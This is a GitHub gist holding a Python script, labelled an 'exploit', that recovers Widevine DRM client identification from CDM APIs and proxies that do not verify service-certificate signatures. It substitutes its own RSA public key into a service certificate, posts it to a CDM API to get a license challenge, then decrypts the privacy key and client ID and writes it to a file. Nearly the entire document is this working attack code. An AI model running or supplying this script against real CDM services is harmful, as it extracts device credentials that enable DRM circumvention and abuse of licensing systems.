Skip to content

Instantly share code, notes, and snippets.

@rlaphoenix
Last active October 24, 2023 17:48
Show Gist options
  • Save rlaphoenix/74acabdd7269a21845e18b621c5860ef to your computer and use it in GitHub Desktop.
Save rlaphoenix/74acabdd7269a21845e18b621c5860ef to your computer and use it in GitHub Desktop.
Recover Client ID from most Widevine License Servers, CDM Implementations, and CDM APIs (if forcing privacy mode)
"""
Super trivial 'exploit' to Recover Client IDs from Challenges where it's Encrypted by Privacy Mode.
This can be done on 90% of third-party CDM Implementations, APIs, Proxies. It might work on some
license servers which they use their own certificate, but only if they forget to verify the signature
of the service certificate. So this wont work on any License Server that proxies to Google's Server.
The attack effectively boils down to the missing verification of Service Certificate signatures.
So just replace the public key of a service cert with one you have the private key for, and then
give it that. Now you can decrypt.
https://github.com/rlaphoenix/pywidevine is protected from such an attack.
"""
import base64
import requests
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util import Padding
from pywidevine.license_protocol_pb2 import SignedMessage, SignedDrmCertificate, DrmCertificate, LicenseRequest, ClientIdentification
# gen rsa key
mitm_key = RSA.generate(2048)
# load service cert
service_cert = base64.b64decode(
"""CAUSwwUKvQIIAxIQ5US6QAvBDzfTtjb4tU/7QxiH8c+TBSKOAjCCAQoCggEBAObzvlu2hZRsapAPx4A
a4GUZj4/GjxgXUtBH4THSkM40x63wQeyVxlEEo1D/T1FkVM/S+tiKbJiIGaT0Yb5LTAHcJEhODB40TXlwP
fcxBjJLfOkF3jP6wIlqbb6OPVkDi6KMTZ3EYL6BEFGfD1ag/LDsPxG6EZIn3k4S3ODcej6YSzG4TnGD0sz
j5m6uj/2azPZsWAlSNBRUejmP6Tiota7g5u6AWZz0MsgCiEvnxRHmTRee+LO6U4dswzF3Odr2XBPD/hIAt
p0RX8JlcGazBS0GABMMo2qNfCiSiGdyl2xZJq4fq99LoVfCLNChkn1N2NIYLrStQHa35pgObvhwi7ECAwE
AAToQdGVzdC5uZXRmbGl4LmNvbRKAA4TTLzJbDZaKfozb9vDv5qpW5A/DNL9gbnJJi/AIZB3QOW2veGmKT
3xaKNQ4NSvo/EyfVlhc4ujd4QPrFgYztGLNrxeyRF0J8XzGOPsvv9Mc9uLHKfiZQuy21KZYWF7HNedJ4qp
Ae6gqZ6uq7Se7f2JbelzENX8rsTpppKvkgPRIKLspFwv0EJQLPWD1zjew2PjoGEwJYlKbSbHVcUNygplaG
mPkUCBThDh7p/5Lx5ff2d/oPpIlFvhqntmfOfumt4i+ZL3fFaObvkjpQFVAajqmfipY0KAtiUYYJAJSbm2
DnrqP7+DmO9hmRMm9uJkXC2MxbmeNtJHAHdbgKsqjLHDiqwk1JplFMoC9KNMp2pUNdX9TkcrtJoEDqIn3z
X9p+itdt3a9mVFc7/ZL4xpraYdQvOwP5LmXj9galK3s+eQJ7bkX6cCi+2X+iBmCMx4R0XJ3/1gxiM5LiSt
ibCnfInub1nNgJDojxFA3jH/IuUcblEf/5Y0s1SzokBnR8V0KbA=="""
)
# replace public key
signed_message = SignedMessage()
signed_message.ParseFromString(service_cert)
signed_drm_certificate = SignedDrmCertificate()
signed_drm_certificate.ParseFromString(signed_message.msg)
drm_certificate = DrmCertificate()
drm_certificate.ParseFromString(signed_drm_certificate.drm_certificate)
drm_certificate.public_key = mitm_key.public_key().export_key("DER")
# re-serialize
signed_drm_certificate.drm_certificate = drm_certificate.SerializeToString()
signed_message.msg = signed_drm_certificate.SerializeToString()
service_cert = signed_message.SerializeToString()
# call api to get challenge with our new service cert
r = requests.post(
url="http://x.x.x.x:69420/",
json={
"method": "GetChallenge",
"params": {
"method": "GetChallenge",
"init": "AAAAW3Bzc2gAAAAA7e+LqXnWSs6jyCfc1R0h7QAAADsIARIQ62dqu8s0Xpa7z2FmMPGj2hoNd2lkZXZpbmVfdGVzdCIQZmtqM2xqYVNkZmFsa3IzaioCSEQyAA==",
"cert": base64.b64encode(service_cert).decode(),
"raw": False,
"licensetype": "STREAMING",
"device": "the_api_device"
},
"token": "secret_key"
}
).json()
challenge = base64.b64decode(r["message"]["challenge"])
# parse the challenge
signed_message = SignedMessage()
signed_message.ParseFromString(challenge)
license_request = LicenseRequest()
license_request.ParseFromString(signed_message.msg)
# get encrypted client id data
enc_client_id = license_request.encrypted_client_id
# decrypt the privacy key with our private key pair to the service cert public key
dec_privacy_key = PKCS1_OAEP. \
new(mitm_key). \
decrypt(enc_client_id.encrypted_privacy_key)
# decrypt client id with the decrypted privacy key
dec_client_id_data = AES. \
new(dec_privacy_key, AES.MODE_CBC, enc_client_id.encrypted_client_id_iv). \
decrypt(enc_client_id.encrypted_client_id)
dec_client_id_data = Padding.unpad(dec_client_id_data, 16)
# parse the decrypted client id
client_id = ClientIdentification()
client_id.ParseFromString(dec_client_id_data)
print(client_id)
# save
client_id = client_id.SerializeToString()
open("client_id.bin", "wb").write(client_id)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment